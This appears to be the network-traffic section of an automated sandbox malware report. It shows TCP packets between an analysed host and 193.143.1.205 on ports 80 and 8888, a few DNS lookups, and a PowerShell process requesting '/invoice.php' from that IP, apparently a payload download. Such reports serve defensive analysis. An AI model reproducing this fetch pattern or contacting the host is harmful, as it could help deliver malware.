Jan 11, 2025 07:47:50.633855104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633872032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633893967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633900881 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633909941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633924961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633939028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633955002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633960009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633995056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647011042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647037983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647057056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647069931 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647082090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647099018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647099972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647115946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647130013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647135019 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647144079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647159100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647170067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647175074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647192001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647196054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647207975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647231102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647238016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647259951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647260904 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647339106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647378922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647383928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647417068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647452116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647469997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647485018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647519112 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647538900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.647555113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.647595882 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.676058054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676116943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676167965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676191092 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.676199913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676234961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676249027 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.676269054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676305056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676312923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.676333904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.676373005 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689225912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689280987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689316034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689347029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689380884 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689392090 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689400911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689455032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689493895 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689506054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689538002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689572096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689585924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689604044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689636946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689652920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689668894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689703941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689711094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.689738035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689773083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.689775944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.705631018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705682993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705693007 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.705713034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705748081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705760002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.705781937 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705815077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705830097 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.705849886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705883026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.705893040 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719100952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719155073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719163895 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719208956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719243050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719250917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719279051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719326973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719332933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719381094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719424009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719430923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719466925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719500065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719510078 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719552994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719605923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719607115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719643116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719676018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719686031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719712019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719743967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719759941 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719778061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719820976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719830036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719863892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719897032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719904900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.719950914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.719994068 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720000982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720036030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720067024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720081091 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720101118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720133066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720143080 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720168114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720200062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720254898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720257998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720288992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720299006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720357895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720391035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720402002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720441103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720484972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720491886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720555067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720587969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720596075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720623970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720659018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720674038 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720693111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720726967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720746040 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720761061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720793009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720808029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720828056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720860958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720869064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720895052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720927954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720944881 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.720963001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.720995903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721010923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.721029997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721062899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721080065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.721096992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721128941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721133947 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.721167088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.721211910 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726109982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726185083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726234913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726241112 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726277113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726306915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726327896 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726356983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726392031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726399899 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726424932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726458073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726471901 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726490021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726524115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726537943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726557016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726599932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726610899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726645947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726679087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726690054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726711035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726752996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.726761103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726795912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.726836920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740087986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740143061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740196943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740230083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740236044 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740278006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740282059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740314960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740349054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740361929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740382910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740417004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740425110 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740451097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740485907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740494967 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740518093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740551949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740571976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.740583897 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.740624905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.755178928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.763618946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763676882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763710976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763737917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.763745070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763782024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763787985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.763819933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763854027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763859034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.763885975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.763936043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.767615080 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.776671886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776710033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776734114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776750088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776772976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776788950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776803017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776818991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776846886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776850939 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.776861906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776885986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776901007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.776911974 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.776942968 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.777050972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.777076006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.777123928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.793009043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793068886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793092012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793111086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793133020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793148994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793174982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.793176889 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.793222904 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806538105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806577921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806591988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806606054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806608915 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806631088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806647062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806660891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806663990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806675911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806694031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806701899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806716919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806734085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806813955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806838989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806853056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806853056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806881905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806886911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806946993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806965113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806981087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.806982040 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.806997061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.807013035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.807075024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.807089090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.807110071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.850686073 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:51.097693920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:51.110168934 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:51.304169893 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:52.048105955 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:52.052979946 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:52.053071976 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:52.053265095 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:52.058059931 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:52.827413082 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:52.881947041 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:53.786778927 CET	49732	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:47:59.772974968 CET	49834	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:47:59.772974968 CET	192.168.2.6	1.1.1.1	0xa48e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:47:59.780302048 CET	1.1.1.1	192.168.2.6	0xa48e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:48:00.575942039 CET	1.1.1.1	192.168.2.6	0x1154	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:48:00.575942039 CET	1.1.1.1	192.168.2.6	0x1154	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:01.849411964 CET	1.1.1.1	192.168.2.6	0x9460	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:01.849411964 CET	1.1.1.1	192.168.2.6	0x9460	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:17.375871897 CET	1.1.1.1	192.168.2.6	0xaa20	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:17.375871897 CET	1.1.1.1	192.168.2.6	0xaa20	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:41.485375881 CET	1.1.1.1	192.168.2.6	0xfa6e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:49:41.485375881 CET	1.1.1.1	192.168.2.6	0xfa6e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	193.143.1.205	80	6316	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:47:49.284339905 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
